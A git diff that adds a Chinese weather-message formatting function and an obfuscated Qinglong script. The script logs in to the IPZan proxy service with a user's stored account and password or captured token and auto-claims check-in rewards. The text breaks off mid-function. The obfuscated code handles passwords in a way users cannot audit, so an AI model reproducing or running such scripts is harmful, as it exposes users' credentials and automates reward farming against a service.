+ +// 若需要自定义天气格式请改这个函数的内容 +// =========================天气消息开始======================== +// 带文字的天气消息数据 +// 天气数据过滤处理,合成消息数据 +function weatherfilter(mode, weatherData, filter){ + let weatherMessage = "" + filter = String(filter) + + if(mode == 1){ + // 天气数据变量 + let fxDate = "" + let sunrise = "" + let sunset = "" + let moonrise = "" + let moonset = "" + let moonPhase = "" + let moonPhaseIcon = "" + let tempMax = "" + let tempMin = "" + let iconDay = "" + let textDay = "" + let iconNight = "" + let textNight = "" + let wind360Day = "" + let windDirDay = "" + let windScaleDay = "" + let windSpeedDay = "" + let wind360Night = "" + let windDirNight = "" + let windScaleNight = "" + let windSpeedNight = "" + let humidity = "" + let precip = "" + let pressure = "" + let vis = "" + let cloud = "" + let uvIndex = "" + + fxDate = weatherData["fxDate"]; + sunrise = weatherData["sunrise"]; + sunset = weatherData["sunset"]; + moonrise = weatherData["moonrise"]; + moonset = weatherData["moonset"]; + moonPhase = weatherData["moonPhase"]; + moonPhaseIcon = weatherData["moonPhaseIcon"]; + tempMax = weatherData["tempMax"]; + tempMin = weatherData["tempMin"]; + iconDay = weatherData["iconDay"]; + textDay = weatherData["textDay"]; + iconNight = weatherData["iconNight"]; + textNight = weatherData["textNight"]; + wind360Day = weatherData["wind360Day"]; + windDirDay = weatherData["windDirDay"]; + windScaleDay = weatherData["windScaleDay"]; + windSpeedDay = weatherData["windSpeedDay"]; + wind360Night = weatherData["wind360Night"]; + windDirNight = weatherData["windDirNight"]; + windScaleNight = weatherData["windScaleNight"]; + windSpeedNight = weatherData["windSpeedNight"]; + humidity = weatherData["humidity"]; + precip = weatherData["precip"]; + pressure = weatherData["pressure"]; + vis = weatherData["vis"]; + cloud = weatherData["cloud"]; + uvIndex = weatherData["uvIndex"]; + + // 根据过滤进行处理 + if(filter == "" || filter == "undefined"){ + // weatherMessage += "📅 " + fxDate + "\n" + + // 可自行拓展 + // 根据高级配置进行个性化服务 + + // // 行内分割符号 + // lineDelimiter = advanceConfig["lineDelimiter"] // 行内分割符号 + // if(lineDelimiter == undefined){ + // // console.log("无lineDelimiter配置") + // lineDelimiter = "" + // } + + // // 行内数量 + // lineNumber = advanceConfig["lineNumber"] + // if(lineNumber == undefined){ + // lineNumber = 2 // 默认为2 + // } + + // 行内分割符号,默认为空 + let lineDelimiter = advanceConfig["lineDelimiter"] || ""; + // 行内数量,默认为2 + let lineNumber = advanceConfig["lineNumber"] || 2; + + // console.log(lineDelimiter) + // console.log(lineNumber) + + fxDate = ymdtomd(fxDate) + weatherMessage += "" + fxDate + "\n" + + weatherMessage += "🌞 白天: " + textDay + "\t" + weatherMessage += "🌙 夜间: " + textNight + "\n" + + weatherMessage += "🌅 日出: " + sunrise + "\t" + weatherMessage += "🌇 日落: " + sunset + "\n" + + weatherMessage += "🌙 月升: " + moonrise + "\t" + weatherMessage += "🌛 月落: " + moonset + "\n" + + weatherMessage += "☁️ 云量: " + cloud + "%" + "\t" + weatherMessage += "🌙 月相: " + moonPhase + "\n" + + weatherMessage += "👀 能见度: " + vis + "km" + "\t" + weatherMessage += "☀️ 紫外线指数: " + uvIndex + "\n" + + weatherMessage += "🌬️ 白天风: " + windDirDay + " " + windSpeedDay + "km/h (" + windScaleDay + "级)\n" + weatherMessage += "🌬️ 夜间风: " + windDirNight + " " + windSpeedNight + "km/h (" + windScaleNight + "级)\n" + + weatherMessage += "💧 相对湿度: " + humidity + "%" + "\t" + weatherMessage += "🌧️ 降水量: " + precip + "mm" + "\n" + + weatherMessage += "🌡️ 最高温/最低温: " + tempMax + "°C / " + tempMin + "°C\n" + + weatherMessage += "🎈 大气压强: " + pressure + "hPa" + "\n" + + // weatherMessage += "📅 " + fxDate + "\t"; + // weatherMessage += "🌅 日出: " + sunrise + "\t"; + // weatherMessage += "🌇 日落: " + sunset + "\n"; + + // weatherMessage += "🌙 月出: " + moonrise + "\t"; + // weatherMessage += "🌛 月落: " + moonset + "\t"; + // weatherMessage += "🌙 月相: " + moonPhase + "\n"; + + // weatherMessage += "🌡️ 最高温度/最低温度: " + tempMax + "°C / " + tempMin + "°C\n" + + // weatherMessage += "🌞 白天: " + textDay + " (" + iconDay + ")\t"; + // weatherMessage += "🌙 夜间: " + textNight + " (" + iconNight + ")\n"; + + // weatherMessage += "🌬️ 白天风: " + windDirDay + " " + windSpeedDay + "km/h (" + windScaleDay + "级)\t"; + // weatherMessage += "🌬️ 夜间风: " + windDirNight + " " + windSpeedNight + "km/h (" + windScaleNight + "级)\n"; + + // weatherMessage += "💧 湿度: " + humidity + "%\t"; + // weatherMessage += "🌧️ 降水量: " + precip + "mm\t"; + // weatherMessage += "🎈 气压: " + pressure + "hPa\n"; + + // weatherMessage += "👀 能见度: " + vis + "km\t"; + // weatherMessage += "☁️ 云量: " + cloud + "%\t"; + // weatherMessage += "☀️ 紫外线指数: " + uvIndex + "\n"; + + // // 拼接天气消息 + // weatherMessage += "📅 预报日期: " + fxDate + "\n" + + // weatherMessage += "🌅 日出时间: " + sunrise + "\t" + // weatherMessage += "🌇 日落时间: " + sunset + "\n" + + // weatherMessage += "🌙 月升时间: " + moonrise + "\t" + // weatherMessage += "🌛 月落时间: " + moonset + "\n" + + + + // weatherMessage += "🌡️ 最高温度/最低温度: " + tempMax + "°C / " + tempMin + "°C\n" + + // weatherMessage += "🌞 白天天气状况: " + textDay + " (" + iconDay + ")\n" + // weatherMessage += "🌙 夜间天气状况: " + textNight + " (" + iconNight + ")\n" + // weatherMessage += "🌬️ 白天风向: " + windDirDay + " " + windSpeedDay + "km/h (" + windScaleDay + "级)\n" + // weatherMessage += "🌬️ 夜间风向: " + windDirNight + " " + windSpeedNight + "km/h (" + windScaleNight + "级)\n" + + // weatherMessage += "💧 相对湿度: " + humidity + "%" + "\t" + // weatherMessage += "🌧️ 降水量: " + precip + "mm" + "\n" + + // weatherMessage += "👀 能见度: " + vis + "km" + "\t" + // weatherMessage += "🎈 大气压强: " + pressure + "hPa" + "\n" + + // weatherMessage += "☁️ 云量: " + cloud + "%" + " " + // weatherMessage += "🌙 月相: " + moonPhase + " " + // weatherMessage += "☀️ 紫外线指数: " + uvIndex + "\n" + + + }else{ + // 带过滤 + // 遍历 filterArray 并构建 weatherMessage + let filterArray = filter.split('&'); + filterArray.forEach(key => { + switch (key) { + case 'fxDate': + weatherMessage += "📅 预报日期: " + fxDate + "\n"; + break; + case 'sunrise': + weatherMessage += "🌅 日出时间: " + sunrise + "\n"; + break; + case 'sunset': + weatherMessage += "🌇 日落时间: " + sunset + "\n"; + break; + case 'moonrise': + weatherMessage += "🌙 月升时间: " + moonrise + "\n"; + break; + case 'moonset': + weatherMessage += "🌛 月落时间: " + moonset + "\n"; + break; + case 'moonPhase': + weatherMessage += "🌙 月相: " + moonPhase + "\n"; + break; + case 'tempMax': + case 'tempMin': + weatherMessage += "🌡️ 最高温度/最低温度: " + tempMax + "°C / " + tempMin + "°C\n"; + break; + case 'textDay': + weatherMessage += "🌞 白天天气状况: " + textDay + " (" + iconDay + ")\n"; + break; + case 'textNight': + weatherMessage += "🌙 夜间天气状况: " + textNight + " (" + iconNight + ")\n"; + break; + case 'windDirDay': + case 'windSpeedDay': + case 'windScaleDay': + weatherMessage += "🌬️ 白天风向: " + windDirDay + " " + windSpeedDay + "km/h (" + windScaleDay + "级)\n"; + break; + case 'windDirNight': + case 'windSpeedNight': + case 'windScaleNight': + weatherMessage += "🌬️ 夜间风向: " + windDirNight + " " + windSpeedNight + "km/h (" + windScaleNight + "级)\n"; + break; + case 'humidity': + weatherMessage += "💧 相对湿度: " + humidity + "%\n"; + break; + case 'precip': + weatherMessage += "🌧️ 降水量: " + precip + "mm\n"; + break; + case 'pressure': + weatherMessage += "🎈 大气压强: " + pressure + "hPa\n"; + break; + case 'vis': + weatherMessage += "👀 能见度: " + vis + "km\n"; + break; + case 'cloud': + weatherMessage += "☁️ 云量: " + cloud + "%\n"; + break; + case 'uvIndex': + weatherMessage += "☀️ 紫外线指数: " + uvIndex + "\n"; + break; + } + }); + + } + + }else if (mode == 2){ + // 🕒 记录时间 + let obsTime = "" + // 🌡️ 温度 + let temp = "" + // 🌡️ 体感温度 + let feelsLike = "" + // 🌤️ 天气图标代码 + let iconDay = "" + // 🌤️ 天气描述 + let textDay = "" + // 💨 风向角度 + let wind360 = "" + // 💨 风向 + let windDir = "" + // 💨 风力等级 + let windScale = "" + // 💨 风速 + let windSpeed = "" + // 💧 湿度 + let humidity = "" + // 🌦️ 降水量 + let precip = "" + // 📈 气压 + let pressure = "" + // 👀 能见度 + let vis = "" + // ☁️ 云量 + let cloud = "" + // 🌞 露点温度 + let dew = "" + + obsTime = weatherData["obsTime"] + temp = weatherData["temp"] + feelsLike = weatherData["feelsLike"] + iconDay = weatherData["icon"] + textDay = weatherData["text"] + wind360 = weatherData["wind360"] + windDir = weatherData["windDir"] + windScale = weatherData["windScale"] + windSpeed = weatherData["windSpeed"] + humidity = weatherData["humidity"] + precip = weatherData["precip"] + pressure = weatherData["pressure"] + vis = weatherData["vis"] + cloud = weatherData["cloud"] + dew = weatherData["dew"] + + if(filter == "" || filter == "undefined"){ + // weatherMessage += "🕒 观测时间: " + obsTime + "\n" + fxDate = isoTohm(obsTime) + weatherMessage += "" + fxDate + "\n" + + weatherMessage += "🌞 天气: " + textDay + "\n" + + weatherMessage += "🌡️ 温度: " + temp + "°C" + "\t" + weatherMessage += "🌡️ 体感温度: " + feelsLike + "°C" + "\n" + + + // weatherMessage += "🌤️ 天气图标代码: " + iconDay + "\n" + + weatherMessage += "🌬️ 风向角度: " + wind360 + "°" + "\t" + weatherMessage += "💨 风向: " + windDir + "\n" + + weatherMessage += "🍃 风力等级: " + windScale + "\t" + weatherMessage += "💨 风速: " + windSpeed + " km/h" + "\n" + + weatherMessage += "💧 湿度: " + humidity + "%" + "\t" + weatherMessage += "🌧️ 降水量: " + precip + " mm" + "\n" + + weatherMessage += "📈 气压: " + pressure + " hPa" + "\t" + weatherMessage += "👀 能见度: " + vis + " km" + "\n" + + weatherMessage += "☁️ 云量: " + cloud + "%" + "\t" + weatherMessage += "🌞 露点温度: " + dew + "°C" + "\n" + + }else{ + // 带过滤 + let filterArray = filter.split('&'); + filterArray.forEach(key => { + switch (key) { + case 'obsTime': + weatherMessage += "🕒 观测时间: " + obsTime + "\n"; + break; + case 'temp': + weatherMessage += "🌡️ 温度: " + temp + "°C\n"; + break; + case 'feelsLike': + weatherMessage += "🌡️ 体感温度: " + feelsLike + "°C\n"; + break; + case 'icon': + weatherMessage += "🌤️ 天气图标代码: " + iconDay + "\n"; + break; + case 'text': + weatherMessage += "🌞 天气状况: " + textDay + "\n"; + break; + case 'wind360': + weatherMessage += "🌬️ 风向角度: " + wind360 + "°\n"; + break; + case 'windDir': + weatherMessage += "💨 风向: " + windDir + "\n"; + break; + case 'windScale': + weatherMessage += "🍃 风力等级: " + windScale + "\n"; + break; + case 'windSpeed': + weatherMessage += "💨 风速: " + windSpeed + " km/h\n"; + break; + case 'humidity': + weatherMessage += "💧 湿度: " + humidity + "%\n"; + break; + case 'precip': + weatherMessage += "🌧️ 降水量: " + precip + " mm\n"; + break; + case 'pressure': + weatherMessage += "📈 气压: " + pressure + " hPa\n"; + break; + case 'vis': + weatherMessage += "👀 能见度: " + vis + " km\n"; + break; + case 'cloud': + weatherMessage += "☁️ 云量: " + cloud + "%\n"; + break; + case 'dew': + weatherMessage += "🌞 露点温度: " + dew + "°C\n"; + break; + default: + break; + } + }); + } + }else if (mode == 3) { + + // 处理生活指数数据 + let daily = weatherData.daily; + // weatherMessage += "📅 " + daily[0].date + "\n"; + fxDate = ymdtomd(daily[0].date) + weatherMessage += "" + fxDate + "\n" + + + if (filter == "" || filter == "undefined") { + // 默认显示所有生活指数 + daily.forEach(index => { + weatherMessage += "🏷️ " + index.name + "\t"; + // weatherMessage += "💪 " + index.level + "\t"; + // weatherMessage += "🔍 " + index.category + "\n"; + weatherMessage += ":" + index.category + "\n"; + weatherMessage += "💬 " + index.text + "\n"; + }); + } else { + // 带过滤 + let filterArray = filter.split('&'); + daily.forEach(index => { + if (filterArray.includes(index.type)) { + weatherMessage += "📅 " + index.date + "\n"; + weatherMessage += "🏷️ " + index.name + "\n"; + weatherMessage += "💪 " + index.level + "\n"; + weatherMessage += "🔍 " + index.category + "\n"; + weatherMessage += "💬 " + index.text + "\n\n"; + } + }); + } + }else if (mode == 4) { + // 处理气象预警数据 + // console.log(weatherData) + const { updateTime, fxLink, warning, refer } = weatherData; + + if (warning.length > 0) { + weatherMessage += "\n" + "🚨 气象预警信息 🚨\n"; + emoji = timeToemoji(new Date(updateTime).toLocaleString()) + weatherMessage += emoji + " 更新时间: " + new Date(updateTime).toLocaleString() + "\n"; + weatherMessage += "🔗 预警详情链接: " + fxLink + "\n\n"; + + warning.forEach(warn => { + weatherMessage += "📢 发布单位: " + warn.sender + "\n"; + weatherMessage += "⏰ 发布时间: " + new Date(warn.pubTime).toLocaleString() + "\n"; + weatherMessage += "🎯 标题: " + warn.title + "\n"; + weatherMessage += "⏰ 开始时间: " + new Date(warn.startTime).toLocaleString() + "\n"; + weatherMessage += "⏰ 结束时间: " + new Date(warn.endTime).toLocaleString() + "\n"; + weatherMessage += "🚧 状态: " + warn.status + "\n"; + weatherMessage += "🎚️ 预警严重等级: " + warn.level + " (" + warn.severity + ")\n"; + weatherMessage += "⚠️ 类型: " + warn.typeName + "\n"; + weatherMessage += "📝 内容: " + warn.text + "\n\n"; + }); + + weatherMessage += "📚 数据来源: " + refer.sources.join(", ") + "\n"; + weatherMessage += "📜 许可证: " + refer.license.join(", ") + "\n"; + } else { + weatherMessage += "🫧 当前没有气象预警信息。"; + } + }else if (mode == 5) { + // 逐小时天气预报 + const { code, updateTime, fxLink, hourly, refer } = weatherData; + + if (code !== "200") { + weatherMessage += "\n" + "🚨 请求失败,状态码: " + code; + } else { + // emoji = timeToemoji(new Date(updateTime).toLocaleString()) + // weatherMessage += "\n" + emoji + " 更新时间: " + new Date(updateTime).toLocaleString() + "\n"; + // weatherMessage += "🔗 预报详情链接: " + fxLink + "\n\n"; + + weatherMessage += "\n" + + if (filter == "" || filter == "undefined") { + // 默认显示所有逐小时天气预报 + + // 只要在此时间之后的 + // let now = new Date(); + + let now = getNowTimeISO() + // let now = new Date() + // console.log(now) + let count = 4; // 最多需要的个数 + + hourly.forEach(hour => { + + // hourTime = getTimeFromISO(hour.fxTime) + hourTime = isoTohm(hour.fxTime) + // console.log("预报时间:", hourTime); + // comp = compareHHMMSS(now, hourTime) + + comp = compareISOTimes(now, hour.fxTime) + if(comp >= 0 && count > 0){ + // console.log(count) + count -= 1 + + // weatherMessage += "🕒 预报时间: " + new Date(hour.fxTime).toLocaleString() + "\n"; + emoji = timeToemoji(hour.fxTime) + weatherMessage += "-----------" + emoji + " " + hourTime + "-----------" + "\n"; + + // weatherMessage += "🌤️ 天气图标代码: " + hour.icon + "\n"; + + weatherMessage += "🌡️ 温度: " + hour.temp + "°C" + "\t"; + weatherMessage += "🌞 天气: " + hour.text + "\n"; + + weatherMessage += "💨 风向: " + hour.windDir + "\t"; + weatherMessage += "🌬️ 角度: " + hour.wind360 + "°" + "\n" + + weatherMessage += "💨 风速: " + hour.windSpeed + " km/h" + "\t" + weatherMessage += "🍃 等级: " + hour.windScale + "\n"; + + weatherMessage += "💧 相对湿度: " + hour.humidity + "%" + "\t"; + weatherMessage += "☁️ 云量: " + (hour.cloud ? hour.cloud + "%" : "无数据") + "\n"; + + weatherMessage += "🌧️ 降水量: " + hour.precip + " mm" + "\t"; + weatherMessage += "📊 概率: " + (hour.pop ? hour.pop + "%" : "无数据") + "\n"; + + weatherMessage += "\n" + + } + + + + // weatherMessage += "📈 气压: " + hour.pressure + " hPa" + "\t"; + // weatherMessage += "🌞 露点温度: " + (hour.dew ? hour.dew + "°C" : "无数据") + "\n\n"; + }) + } else { + // 带过滤 + let filterArray = filter.split('&'); + hourly.forEach(hour => { + let includeHour = false; + filterArray.forEach(key => { + if (hour[key] !== undefined) { + includeHour = true; + } + }); + + if (includeHour) { + weatherMessage += "🕒 预报时间: " + new Date(hour.fxTime).toLocaleString() + "\n"; + filterArray.forEach(key => { + if (hour[key] !== undefined) { + weatherMessage += key + ": " + hour[key] + "\n"; + } + }); + weatherMessage += "\n"; + } + }); + } + + // weatherMessage += "📚 数据来源: " + refer.sources.join(", ") + "\n"; + // weatherMessage += "📜 许可证: " + refer.license.join(", ") + "\n"; + } + }else if (mode == 6) { + const { code, updateTime, fxLink, summary, minutely, refer } = weatherData; + + if (code !== "200") { + weatherMessage += "\n" + "🚨 请求失败,状态码: " + code; + } else { + + emoji = timeToemoji(new Date(updateTime).toLocaleString()) + // weatherMessage += "\n" + emoji + " 更新时间: " + new Date(updateTime).toLocaleString() + "\n"; + // weatherMessage += "🔗 预报详情链接: " + fxLink + "\n"; + weatherMessage += "\n📢 降水描述: " + summary + "\n\n"; + + if (filter == "" || filter == "undefined") { + + let count = 6; // 最多需要的个数,6*5min = 30min + + // 默认显示所有分钟级别降水预报 + minutely.forEach(minute => { + if(count > 0){ + count -= 1 + fxTime = isoTohm(new Date(minute.fxTime).toLocaleString()) + // console.log(minute.fxTime) + // weatherMessage += "🕒 预报时间: " + new Date(minute.fxTime).toLocaleString() + "\n"; + emoji = hourToemoji(getHour(fxTime)) + // weatherMessage += emoji + " 时间: " + fxTime + "\n"; + weatherMessage += "-----------" + emoji + " " + fxTime + "-----------" + "\n"; + weatherMessage += "🌧️ 降水量: " + minute.precip + " mm"; + "\t" + weatherMessage += "💦 类型: " + (minute.type === "rain" ? "雨" : "雪") + "\n\n"; + } + }); + } else { + // 带过滤 + let filterArray = filter.split('&'); + minutely.forEach(minute => { + let includeMinute = false; + filterArray.forEach(key => { + if (minute[key] !== undefined) { + includeMinute = true; + } + }); + + if (includeMinute) { + weatherMessage += "🕒 预报时间: " + new Date(minute.fxTime).toLocaleString() + "\n"; + filterArray.forEach(key => { + if (minute[key] !== undefined) { + weatherMessage += key + ": " + minute[key] + "\n"; + } + }); + weatherMessage += "\n"; + } + }); + } + + // weatherMessage += "📚 数据来源: " + refer.sources.join(", ") + "\n"; + // weatherMessage += "📜 许可证: " + refer.license.join(", ") + "\n"; + } + } + + // console.log(weatherMessage); + return weatherMessage +} +// =========================天气消息结束======================== diff --git a/脚本库/web版/账密/品赞HTTP代理签到/2025-06-28_品赞代理_79485dab.js b/脚本库/web版/账密/品赞HTTP代理签到/2025-06-28_品赞代理_79485dab.js new file mode 100644 index 0000000..9a289db --- /dev/null +++ b/脚本库/web版/账密/品赞HTTP代理签到/2025-06-28_品赞代理_79485dab.js @@ -0,0 +1,586 @@ +// # Source: https://gitee.com/jdqlscript/toulu/blob/main/%E5%93%81%E8%B5%9E%E4%BB%A3%E7%90%86.js +// # Raw: https://gitee.com/jdqlscript/toulu/raw/main/%E5%93%81%E8%B5%9E%E4%BB%A3%E7%90%86.js +// # Repo: jdqlscript/toulu +// # Path: 品赞代理.js +// # UploadedAt: 2025-06-28T11:18:42+08:00 +// # SHA256: 79485dab3ea3a29d4dd5a09f771328d406ba90e352bf93ec3b869eefca72a3bb +// # Category: web版/账密 +// # Evidence: web/H5关键词 + username/password/login +// + +/** + * 品赞HTTP代理签到v1.1 + * const $ = new Env("品赞HTTP代理签到"); + * cron 0 0 * * 0 品赞HTTP代理签到.js + * 注册地址:https://www.ipzan.com?pid=4k9aetvd + + + 有问题联系3288588344 + 频道:https://pd.qq.com/s/672fku8ge + + + + * + * ========= 青龙--配置文件 =========== + * # 项目名称(两种配置二选一) + * 推荐账号密码,token容易过期 + * export pzhttp='账号#密码' + * 不推荐 + * export pzhttp='你抓包的token' + + * 自己抓包协议头上的Authorization + + * 多账号换行或&隔开 + + * 奖励:每周签到得3金币,大概500个IP,可在免费使用代理IP用于其他项目 + * + * ==================================== + * + */ + + + +const _0xf1ea8 = new _0x299988("品赞HTTP签到"); +let _0x34f238 = "pzhttp", + _0x44155b = ["\n", "&"], + _0xa2efe3 = (_0xf1ea8.isNode() ? process.env[_0x34f238] : _0xf1ea8.getdata(_0x34f238)) || "", + _0xd941b5 = [], + _0x8a72a2 = 0; +class _0x138232 { + constructor(_0x61bdcb) { + this.index = ++_0x8a72a2; + this.points = 0; + this.valid = false; + _0x61bdcb?.["includes"]("#") ? [this.account, this.password] = _0x61bdcb?.["split"]("#") : this.activedAuthToken = _0x61bdcb; + } + async ["taskApi"](_0x15938b, _0x2b4597, _0x292c45, _0x4b21ba) { + let _0x17737f = null; + try { + let _0x9d8394 = _0x292c45.replace("//", "/").split("/")[1], + _0x41ba2f = { + "url": _0x292c45, + "headers": { + "Accept": "application/json, text/plain, */*", + "Accept-Language": "zh-CN,zh;q=0.9", + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36", + "Host": _0x9d8394, + "Connection": "Keep-Alive", + "Origin": "https://kip.ipzan.com", + "Authorization": "Bearer " + this.activedAuthToken, + "Referer": "https://kip.ipzan.com/", + "Accept-Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7", + "Content-Type": "application/json" + }, + "timeout": 60000 + }; + _0x4b21ba && (_0x41ba2f.body = _0x4b21ba, _0x41ba2f.headers["Content-Length"] = _0x4b21ba?.["length"]); + await _0x58c2e5(_0x2b4597, _0x41ba2f).then(async _0x1fce27 => { + if (_0x1fce27.resp?.["statusCode"] == 200) _0x1fce27.resp?.["body"] ? _0x17737f = JSON.parse(_0x1fce27.resp.body) : console.log("账号[" + this.index + "]调用" + _0x2b4597 + "[" + _0x15938b + "]出错,返回为空");else { + console.log("账号[" + this.index + "]调用" + _0x2b4597 + "[" + _0x15938b + "]出错,返回状态码[" + (_0x1fce27.resp?.["statusCode"] || "") + "]"); + } + }); + } catch (_0x2abedd) { + console.log(_0x2abedd); + } finally { + return Promise.resolve(_0x17737f); + } + } + async ["GetUserBalance"]() { + try { + let _0x181f92 = "GetUserBalance", + _0x567f03 = "get", + _0x23d272 = "https://service.ipzan.com/home/userWallet-find", + _0x3f986e = ""; + await this.taskApi(_0x181f92, _0x567f03, _0x23d272, _0x3f986e).then(async _0x40fe24 => { + if (_0x40fe24.code === 0) this.valid = true, this.points = _0x40fe24.data.balance, console.log("账号[" + this.index + "] 当前金币: " + this.points);else { + _0xf1ea8.logAndNotify("账号[" + this.index + "]查询金币失败,可能Token无效"); + } + }); + } catch (_0xc67e18) { + console.log(_0xc67e18); + } finally { + return Promise.resolve(1); + } + } + async ["Login"]() { + try { + let _0x1f2260 = "Login", + _0x459f03 = "post", + _0x3d2b06 = "https://service.ipzan.com/users-login", + _0x3e4a5c = JSON.stringify(_0x3771fa(this.account, this.password)); + await this.taskApi(_0x1f2260, _0x459f03, _0x3d2b06, _0x3e4a5c).then(async _0x480963 => { + if (_0x480963.code === 0) console.log("账号[" + this.index + "] 登录成功"), this.activedAuthToken = _0x480963?.["data"];else { + console.log("账号[" + this.index + "] 登录失败:" + _0x480963?.["message"]); + } + }); + } catch (_0x573284) { + console.log(_0x573284); + } finally { + return Promise.resolve(1); + } + } + async ["SignInDaily"]() { + try { + let _0x28765f = "SignInDaily", + _0x4735c6 = "get", + _0x42ed00 = "https://service.ipzan.com/home/userWallet-receive", + _0x299e34 = ""; + await this.taskApi(_0x28765f, _0x4735c6, _0x42ed00, _0x299e34).then(async _0x3f3169 => { + if (_0x3f3169.code === 0) { + console.log("账号[" + this.index + "] 签到成功:", _0x3f3169?.["data"]); + } else console.log("账号[" + this.index + "] 签到失败:" + _0x3f3169?.["message"]); + }); + } catch (_0x568f80) { + console.log(_0x568f80); + } finally { + return Promise.resolve(1); + } + } + async ["doTask"]() { + try { + await _0x241982(1000); + console.log("\n============= 账号[" + this.index + "] 开始签到============="); + await this.SignInDaily(); + } catch (_0x23c68c) { + console.log(_0x23c68c); + } + } +} +!(async () => { + if (typeof $request !== "undefined") { + await _0x5e22b6(); + } else { + if (!(await _0x76f888())) return; + console.log("\n================ 开始执行 ================"); + for (let _0x59d06c of _0xd941b5) { + console.log("----------- 执行 第 [" + _0x59d06c.index + "] 个账号 -----------"); + !_0x59d06c?.["activedAuthToken"] && (await _0x59d06c?.["Login"]()); + await _0x59d06c.GetUserBalance(); + } + let _0x3737e6 = _0xd941b5.filter(_0x2aad38 => _0x2aad38.valid); + if (_0x3737e6.length > 0) { + console.log("\n================ 任务队列构建完毕 ================"); + for (let _0x434b43 of _0x3737e6) { + console.log("----------- 账号[" + _0x434b43.index + "] -----------"); + await _0x434b43.doTask(); + } + } else console.log("\n================ 未检测到帐号,请先注册:https://www.ipzan.com?pid=4k9aetvd ================"); + await _0xf1ea8.showmsg(); + } +})().catch(_0x4c4062 => console.log(_0x4c4062)).finally(() => _0xf1ea8.done()); +function _0x416dc5(_0x3a97a0) { + const _0x414c4d = /^((25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)$/; + return _0x414c4d.test(_0x3a97a0); +} +function _0xb417d8(_0x2829c6 = true) { + const _0x2334d0 = _0x2829c6 ? "1.1.1.1" : "0.0.0.0", + _0x44facb = _0x2829c6 ? "223.255.255.255" : "255.255.255.255", + _0xd9f504 = _0x2334d0.split(".").map(Number), + _0x275c26 = _0x44facb.split(".").map(Number), + _0x556be6 = _0xd9f504.map((_0xbf46cc, _0x2a9d1c) => { + const _0x1ab328 = _0x275c26[_0x2a9d1c]; + return Math.floor(Math.random() * (_0x1ab328 - _0xbf46cc + 1)) + _0xbf46cc; + }); + return _0x556be6.join("."); +} +function _0x157dd3(_0x2d7503, _0x42788a, _0x2e1e85) { + const _0x36ac8a = {}; + _0x36ac8a[_0x42788a] = _0x2e1e85; + const _0x1f7e27 = JSON.stringify(_0x36ac8a); + try { + fs.writeFileSync(_0x2d7503 + ".json", _0x1f7e27); + } catch (_0x2fd9c9) { + _0x2fd9c9.code === "ENOENT" ? fs.writeFileSync(_0x2d7503 + ".json", _0x1f7e27) : console.error("保存文件时发生错误:", _0x2fd9c9); + } +} +function _0x35c695(_0x188ff0, _0x1924d1) { + try { + const _0x206e18 = fs.readFileSync(_0x188ff0 + ".json", "utf8"), + _0x4e7920 = JSON.parse(_0x206e18); + return _0x4e7920[_0x1924d1]; + } catch (_0x527dd9) { + if (_0x527dd9.code === "ENOENT") return undefined;else { + console.error("读取文件时发生错误:", _0x527dd9); + } + } +} +function _0x3771fa(_0x256ced, _0x59add5) { + var _0x3b0e44 = { + "table": ["A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z", "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z", "0", "1", "2", "3", "4", "5", "6", "7", "8", "9", "+", "/"], + "UTF16ToUTF8": function (_0x164874) { + for (var _0x22d31c = [], _0x34b5d0 = _0x164874.length, _0x12ffe3 = 0; _0x12ffe3 < _0x34b5d0; _0x12ffe3++) { + var _0x60360, + _0x57e360, + _0x243264 = _0x164874.charCodeAt(_0x12ffe3); + 0 < _0x243264 && _0x243264 <= 127 ? _0x22d31c.push(_0x164874.charAt(_0x12ffe3)) : 128 <= _0x243264 && _0x243264 <= 2047 ? (_0x60360 = 192 | _0x243264 >> 6 & 31, _0x57e360 = 128 | 63 & _0x243264, _0x22d31c.push(String.fromCharCode(_0x60360), String.fromCharCode(_0x57e360))) : 2048 <= _0x243264 && _0x243264 <= 65535 && (_0x60360 = 224 | _0x243264 >> 12 & 15, _0x57e360 = 128 | _0x243264 >> 6 & 63, _0x243264 = 128 | 63 & _0x243264, _0x22d31c.push(String.fromCharCode(_0x60360), String.fromCharCode(_0x57e360), String.fromCharCode(_0x243264))); + } + return _0x22d31c.join(""); + }, + "UTF8ToUTF16": function (_0x2f5e6d) { + for (var _0x2e1ff5 = [], _0x1fe47c = _0x2f5e6d.length, _0x36c899 = 0, _0x36c899 = 0; _0x36c899 < _0x1fe47c; _0x36c899++) { + var _0xddba5e, + _0x1c66d1, + _0x4e11bc = _0x2f5e6d.charCodeAt(_0x36c899); + 0 == (_0x4e11bc >> 7 & 255) ? _0x2e1ff5.push(_0x2f5e6d.charAt(_0x36c899)) : 6 == (_0x4e11bc >> 5 & 255) ? (_0x1c66d1 = (31 & _0x4e11bc) << 6 | 63 & (_0xddba5e = _0x2f5e6d.charCodeAt(++_0x36c899)), _0x2e1ff5.push(Sting.fromCharCode(_0x1c66d1))) : 14 == (_0x4e11bc >> 4 & 255) && (_0x1c66d1 = (255 & (_0x4e11bc << 4 | (_0xddba5e = _0x2f5e6d.charCodeAt(++_0x36c899)) >> 2 & 15)) << 8 | ((3 & _0xddba5e) << 6 | 63 & _0x2f5e6d.charCodeAt(++_0x36c899)), _0x2e1ff5.push(String.fromCharCode(_0x1c66d1))); + } + return _0x2e1ff5.join(""); + }, + "encode": function (_0x4440be) { + if (!_0x4440be) return ""; + for (var _0x44c43a = this.UTF16ToUTF8(_0x4440be), _0xa978b5 = 0, _0x4f9c35 = _0x44c43a.length, _0x59ac5c = []; _0xa978b5 < _0x4f9c35;) { + var _0x4a5bc7 = 255 & _0x44c43a.charCodeAt(_0xa978b5++); + if (_0x59ac5c.push(this.table[_0x4a5bc7 >> 2]), _0xa978b5 == _0x4f9c35) { + _0x59ac5c.push(this.table[(3 & _0x4a5bc7) << 4]); + _0x59ac5c.push("=="); + break; + } + var _0x77e2fc = _0x44c43a.charCodeAt(_0xa978b5++); + if (_0xa978b5 == _0x4f9c35) { + 